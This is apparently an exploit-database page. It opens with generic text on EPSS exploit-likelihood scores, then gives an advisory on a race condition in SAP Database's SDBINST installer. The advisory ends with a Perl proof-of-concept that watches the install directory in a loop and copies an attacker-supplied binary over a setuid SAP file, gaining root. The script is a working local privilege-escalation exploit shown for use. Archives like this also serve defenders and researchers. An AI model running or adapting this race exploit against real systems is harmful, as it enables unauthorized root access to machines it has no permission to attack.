EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

source: https://www.securityfocus.com/bid/7421/info SAP Database SDBINST has been reported prone to a race condition vulnerability. It has been reported that the SAP Database install tool SDBINST may perform operations non-atomically when installing the SAP database. This condition may open a window of opportunity for a malicious user to replace one of two SAP Database files with a malicious file, before SBDINST sets the setuid bit on the files. An attacker may exploit this vulnerability to gain root privileges. #!/bin/perl while (1) { $test =`grep -sh PRECOM.ins /tmp/sapdb-server-linux-32bit-i386-7_3_0_29/y/config/install/LIST*`; if ( $test =~ /PRECOM/ ) { system("cp /home/lwc/run /usr/sapdb/depend/pgm/lserver"); exit(1); } }
